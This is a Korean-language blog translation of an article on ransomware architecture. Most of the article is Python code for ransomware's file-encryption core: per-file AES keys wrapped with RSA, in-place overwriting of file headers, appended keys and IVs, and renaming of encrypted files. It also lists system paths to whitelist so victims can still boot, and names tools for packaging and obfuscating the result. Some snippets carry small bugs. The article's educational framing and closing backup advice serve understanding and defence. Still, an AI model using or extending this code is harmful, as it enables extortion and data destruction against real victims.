[Translation] Architecture of Ransomware Part 2

안녕하세요! idioth입니다. 길고 길었던 중간고사 기간이었습니다. 하지만 제 중간고사 기간은 더 길어서 아직 끝나지 않았네요. 시험 하나와 대체 과제 3개가 남아있는 삶입니다. 게다가 과목 하나는 양이 너무 많아서 선택과 집중을 했는데 제가 선택한 부분에서 12 문제 중 한 문제 나왔네요. 10점 밑으로 받을 것 같습니다. 하하하하하하하하하하

이미 지나간 일 후회하지 않겠습니다… 기말 때 더 잘하면 되니까요^^. 잡담이 길었습니다. 오늘은 저번 게시글에 이어서 파트 2를 진행하도록 하겠습니다!

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원문 글 : Architecture of a ransomware (2/2)

Part 1에서 랜섬웨어가 효과적으로 동작하는데 필요한 주요한 개념에 대해서 설명했다. 이번 파트에서 파이썬 코드를 통해 개념들을 보여줄 것이다. 또한 암호화를 위한 pycryptodome 파이썬 라이브러리의 기본적인 사용법도 다룰 것이다. 스크립트 키디들이 악용할 수 없도록 전체 소스 코드를 올리진 않을 것이다. 이 게시글의 목적은 악성 행위에 사용하라는 것이 아니라 랜섬웨어 악성코드에 대한 지식을 공유하는 것이다.

일반적인 고려 사항

여러 개의 오픈 소스 랜섬웨어가 존재하며 랜섬웨어 개발에 관해서 찾아보다가 Tarcísio Marinho가 개발한 GonnaCry라는 랜섬웨어를 발견했다. 코드가 매우 분명하며 읽어 보는 것을 추천한다.

그의 랜섬웨어는 “management side”를 위한 모든 코드가 포함되어 있다. 그는 복호화 키를 관리하고 감염된 클라이언트와 통신하는 해커 측 서버를 코딩했다.

필자는 랜섬웨어가 어떻게 동작하는지 배우기 위해 모든 코드를 작성하였고, 실제 랜섬웨어는 이 부분을 모두 다르게 처리하므로 해당 부분은 다루고 싶지 않았다. payment를 등록하고 복호화 키를 전송하는 자동화 서비스, victim과 직접 상호작용하는 토르 이메일 주소, 몇 개의 샘플 파일을 통해 복호화할 수 있는지 확인하는 시스템 등이 있을 수도 있다. 이 부분은 캠페인마다 달라서 다루지 않을 것이다. 나는 클라이언트 감염 측면에 주로 포커스를 맞출 것이다.

언어 선택

필자는 몇 가지 이유로 파이썬을 선택했다. 주요한 이유는 ㄹㅇ 읽기 쉽고 이해하기 쉬우니까.

os.system으로 호출된 OS별 명령어를 사용하지 않으면 크로스 플랫폼 또한 가능하다. 또한 속도가 빠르고 암호화를 위한 라이브러리가 있다. 마지막으로 컴파일된 코드 난독화가 가능하여 리버싱하기 어렵게 만들 수 있다.

파이썬 라이브러리를 선택할 때 동일한 기능을 하는 걸 여러 개 찾아라. 각각의 것을 연구하고 가장 많이 사용되는 것을 선택하는 것은 암호화처럼 빠르게 변화하는 것에 대해서 좋은 접근 방식이다. 오래된 라이브러리를 사용하거나 Lockcrypt처럼 자체 개발한 암호화를 사용(하지 마)하면 랜섬웨어가 복호화될 수도 있다. 우리는 잘 알려진 라이브러리 pycryptodome과 secrets를 사용할 것이다.

Note: 실제로 비대칭+대칭 암호화를 결합한 wrapper가 있지만 개념을 설명하기 위해 pycryptodome을 사용해 각 기능을 구현할 것이다.

필요한 기능 요약

  • generate32ByteKey(): 랜덤한 32바이트 키를 생성한다. 이를 수행하기 위한 여러 가지 방법이 있다. /dev/urandom에서 문자열을 긁어와서 sha256sum을 하면 되지만 리눅스에 한정적이며 크로스 플랫폼으로 만들고 싶으므로 secrets 라이브러리를 사용할 것이다. secrets.token_hex(32)를 통해 수행할 수 있다.
  • rsaEncryptSecret(string, publicKey): public key를 가지고 secret을 비대칭 암호화한다(private key를 통해서만 복호화됨). 이렇게 하면 각 파일에 대해 생성된 대칭 키를 publicKey로 암호화할 수 있다. 클라이언트는 각 파일의 대칭 키를 복호화하려면 우리의 private key가 필요하다.
  • rsaDecryptSecret(secret, privateKey): private 비대칭 키를 통해 암호화된 대칭키를 복호화한다.
  • symEncryptFile(publicKey, file): 암호화 로직을 포함하므로 가장 복잡한 부분이다. 아래에 자세히 설명할 거지만, 이름으로 볼 수 있듯이 파일을 암호화하는 함수다.
  • symDecryptFile(privateKey, file): 파일을 복호화한다.
  • symEncryptDirectory(publicKey, dir): 파라미터로 디렉터리를 받아서 내부에 있는 모든 파일을 가져온다. 그 후 symEncryptFile를 호출한다.
  • symDecryptDirectory(privateKey, dir): symEncryptDirectory와 비슷하지만 반대의 기능을 한다.

rsaEncryptSecret

RSA를 통해 secret key를 암호화할 것이다. RSA는 기본적으로 랜덤성 없이 암호화 되므로 기본적인 RSA에 랜덤성과 one-way permutation trapdoor를 추가한 padding scheme인 Optimal asymmetric encryption padding(OAEP)를 사용할 것이다. OAEP와 같이 RSA를 사용할 때 결과 cypher 크기는 modulus(key size/8)과 같아야 한다. 2048bit RSA를 사용하므로 256 bytes의 resulting cyphertext가 나와야 한다.

이에 대한 간단한 예제 코드이다.

def rsaEncryptSecret(string, publicKey):
	  public_key = get_key(publicKey, None)
	  # Create the cipher object
	  cipher_rsa = PKCS1_OAEP.new(public_key)
	  # We need to encode the string to work with bytes instead of chars
	  bytestrings = str.encode(string)
	  cipher_text = cipher_rsa.encrypt(bytestrings)
	  #At this point the cipher_text should be 256 bytes in length
	  # We'll base64 encode it for convenience
	  # Remember that a base64 string needs to be divisible by 3, so 256 bytes will become 258 with padding 
	  return base64.b64encode(cipher_text)

Source: https://stackoverflow.com/questions/13378815/base64-length-calculation

RsaDecryptSecret

제공된 secret key로 cipher text를 복호화한다.

def rsaDecryptSecret(string, privateKey):
	  # We firts import the private Key
	  private_key = get_key(privateKey, None)
	  # Decode the base64 encoded string
	  base64DecodedSecret = base64.b64decode(string)
	  # create the cipher object
	  cipher_rsa = PKCS1_OAEP.new(private_key)
	  # Decrypt the content
	  decryptedBytestrings = cipher_rsa.decrypt(base64DecodedSecret)
	  # Remember to convert the decoded cipher from bytes to string
	  decryptedSecret = decryptedBytestrings.decode()
	  return decryptedSecret

SymEncryptFile

주요 암호화 함수이며 다음과 같이 동작한다.

  1. publicKey와 file path를 파라미터로 함수를 호출한다.

    def symEncryptFile(publicKey, file):

  2. 특정 파일에 대한 랜덤 키를 생성한다.

    key = generateKey()

  3. publicKey로 랜덤 키를 암호화한다.

    encryptedKey = rsaEncryptSecret(key, publicKey)

  4. 파일에 대한 암호화 사이즈(n byte)를 정의한다. 예시로 1MB를 사용한다.

    buffer_size = 1048576

  5. 파일이 이미 암호화되었는지 확인한다. 이미 되어있을 경우 무시한다.

    if file.endswitch("." + cryptoName):
		print('File is already encrypted, skipping')
		return

  6. 파일의 첫 n 바이트를 암호화하고 content를 overwrite 한다.

    # Open the input and output files
		input_file = open(file, 'r+b')
		print("Encrypting file: "+ file)
		output_file = open(file + '.' + cryptoName, 'w+b')

# Create the cipher object and encrypt the data
		cipher_encrypt = AES.new(key, AES.MODE_CFB)

# Encrypt file first
		input_file.seek(0)
		buffer = input_file.read(buffer_size)
		ciphered_bytes = cipher_encrypt.encrypt(buffer)

input_file.seek(0)
input_file.write(ciphered_bytes)

  7. 파일의 끝에 암호화된 랜덤 키를 추가한다.

    input_file.seek(0, os.SEEK_END)
input_file.write(encryptedKey.encode())

  8. 파일의 끝에 AES IV(initialization vector)를 추가한다.

    input_file.seek(0, os.SEEK_END)
input_file.write(cipher_encrypt.iv)

  9. 암호화가 된 지 식별할 수 있도록 이름을 바꾼다.

    input_file.close()
  os.rename(file, file + "." + cryptoName)

암호화 후 대략적인 파일 구조

전체 파일을 복사할 필요가 없었던 것을 생각해라. file object를 통해 seek() 메소드를 사용하여 바이트를 탐색하고 빠르게 작업을 진행할 수 있다. 이는 복호화 함수에서도 사용된다.

또 암호화된 파일에 AES IV와 암호화된 키를 모두 추가하기 때문에 각 파일에 대한 키가 존재하는 텍스트 파일은 필요 없다. victim은 우리에게 어떤 파일이든 보낼 수 있고 특정한 바이너리에서 사용되는 private key를 가지고 있으면 우리는 복호화할 수 있다.

SymDecryptFile

주요 복호화 함수이며 다음과 같이 동작한다.

  1. privateKey와 file path를 파라미터로 함수를 호출한다.

    def symDecryptFile(privateKey, file):

  2. 파일에 대한 decryption size(n 바이트, 암호화에서 쓴 것과 동일)를 정의해라. 예시는 1MB이다.

    buffer_size = 1048576

  3. 확장자를 통해 암호화 여부를 확인한다.

    if file.endswith("." + cryptoName):
		out_filename = file[:-(len(cryptoName) + 1)]
		print("Decrypting file: " + file)
else :
	print('File is not encrypted')
	return

  4. 파일을 열어 AES IV(마지막 16바이트)를 읽어온다.

    input_file = open(file, 'r+b')

# Read in the iv
input_file.seek(-16, os.SEEK_END)
iv = input_file.read(16)

  5. 암호화된 복호화 키를 읽어온다.

    # we move the pointer to 274 bbytes before the end of file
# (258 bytes of the encryption key + 16 of the AES IV)
input_file.seek(-274, os.SEEK_END)

# And we read the 258 bytes of the key
secret = input_file.read(258)

  6. private key를 가지고 암호화된 키를 복호화한다.

    key = rsaDecryptSecret(cert, secret)

  7. 이전에 정의한 aes-encrypted buffer size를 복호화하고 파일의 첫 부분에 작성한다.

    # Create the cipher object
cipher_encrypt = AES.new(privateKey, AES.MODE_CFB, iv=iv)

# Read the encrypted header
input_file.seek(0)
buffer = input_file.read(buffer_size)

# Decrypt the header with the key
decrypted_bytes = cipher_encrypt.decrypt(buffer)

# Write the decrypted text on the same file
input_file.seek(0)
input_file.write(decrypted_bytes)

  8. 파일의 끝 부분에서 IV와 암호화된 키를 제거하고 이름을 변경한다.

    # Delete the last 274 bytes from IV + key.
input_file.seek(-274, os.SEEK_END)
input_file.truncate()
input_file.close()

# Rename the file to delete the encrypted extenstion
os.rename(file, out_filename)

마지막 고려사항

모든 함수 작성이 끝나면 선택한 폴더를 암호화하거나 복호화할 수 있는 바이너리를 만들 수 있다. 정확하게 symEncryptDirectory/symDecryptDirectory 함수를 코딩했으면 암호화, 복호화 중 하나를 선택한 후 .pem 파일을 전달하기만 하면 된다. main 호출 전에 바이너리에 이것과 비슷한 것이 있을 것이다

parser = argparse.ArgumentParser()
parser.add_argument("--dest", "-d", help="File or directory to encrypt/decrypt", dest="destination", default="none", required=True)
parser.add_argument("--action", "-a", help="Action (encrypt/decrypt)", dest="action", required=True)
 
parser.add_argument("--pem","-p", help="Public/Private key", dest="key", required=True)

오류 검사(암호화 작업에 파라미터로 public key가 전달되는지, decrypt에 private key가 있는지 등) 외에도 운영 체제에 대한 파일 및 폴더를 화이트 리스트로 지정해야 한다. 암호화되더라도 컴퓨터는 사용이 가능하도록 해야 한다. 모든 파일을 암호화한다면 다음과 같은 결과를 볼 수 있다.

  1. 사용자가 뭔가 잘못된 걸 알 수 있도록 컴퓨터 사용이 불가능해진다.
  2. 전부 암호화된 후, 시스템이 부팅이 안되고 사용자는 랜섬웨어에 감염된 사실을 알지 못한다.

예시로 리눅스 화이트 리스트는 다음과 같다.

whitelist = ["/etc/ssh", "/etc/pam.d", "/etc/security/", "/boot",
"/run", "/usr", "/snap", "/var", "/sys", "/proc", "/dev", "/bin",
"/sbin", "/lib", "passwd", "shadow", "known_hosts", "sshd_config",
"/home/sec/.viminfo", '/etc/crontab', "/etc/default/locale", "/etc/environment"]

.py 스크립트를 모든 dependency와 함께 압축하여 단일 실행 파일로 만들 수 있다. 일일이 알려주진 않겠지만 pyarmor와 pyinstaller를 찾아보면 된다. 또 사용하려는 난독화에 따라서 Nuitka가 도움이 될 수도 있다.

다른 종류의 랜섬웨어(MBR 암호화)

우리가 살펴보지 않은 드라이브의 Master Boot Record를 감염시키는 다른 종류의 랜섬웨어가 있다. 파일 시스템의 NTFS 파일 테이블을 암호화하는 페이로드를 실행하여 디스크를 사용할 수 없게 만든다. 이 방법은 데이터의 작은 부분만 암호화하면 돼서 매우 빠르다. Petya 랜섬웨어)가 이 종류의 완벽한 예시이다. 하지만 이는 3개의 주요한 단점을 가지고 있다.

첫 번째로 OS를 부팅할 수 없어도 포렌식 분석을 통해 파일을 복구할 수 있다. 파일들은 삭제되지 않고 파일 테이블에서 참조되지 않을 될 뿐이다. 컴퓨터가 재부팅 된 후에 raw data를 암호화 하더라도 victim이 컴퓨터를 끄고 디스크를 빼버리면 일부 파일을 복구할 수 있다.

두 번째 단점은 대부분 최신 OS는 GPT(GUID Partition Table)을 사용하여 MBR을 더 이상 쓰지 않는다는 것이다.

세 번째 단점은 파일 시스템 의존성이 높고 NTFS처럼 동작하지 않는 파일 시스템(EXT3/EXT4, ZFS 등)도 고려하기 위해 수정해야 한다는 점이다.

이 방법은 더 많은 low-level technical concept을 요구하여 이 게시글에서 많이 설명하고 싶지 않다. 또한 이 방법론은 많이 사용되지 않는다. 필자의 주목적은 일반적인 랜섬웨어에 대해 독자들이 더 잘 이해할 수 있도록 하는 것이다.

결론

랜섬웨어를 방지하는 방법들(출처를 알 수 없는 파일 열지 말기, 인프라 업데이트 유지, 안티 멀웨어 소프트웨어 사용하기 등등) 외에도 추천하는 방법은 백업과 백업 그리고 또 백업이다. 공격을 막기 위한 많은 조언을 듣게 되겠지만 필자의 생각에는 그냥 걸릴 거라 생각하고 데이터를 오프라인 백업하는 것이다.

당신이 감염을 피한다 해도 동료 직원이 걸리면 매핑된 공유 드라이브의 모든 파일이 암호화 될 것이다.

마지막으로 아무도 추천하지 않은 방법: 감염된 경우, 암호화된 파일(가족사진, 비디오 등)을 바로 복구할 필요가 없으면 암호화된 파일의 복사본을 보관해라. 멀웨어 개발자가 은퇴(Shade, TeslaCrypt, HildaCrypt)하거나 체포(CoinVault)되거나 경쟁자의 키를 배포(Petya vs Chimera)하는 등 해독 키가 공개될 수 있다. 운 좋으면 몇 달 안에 복구할 수 있다.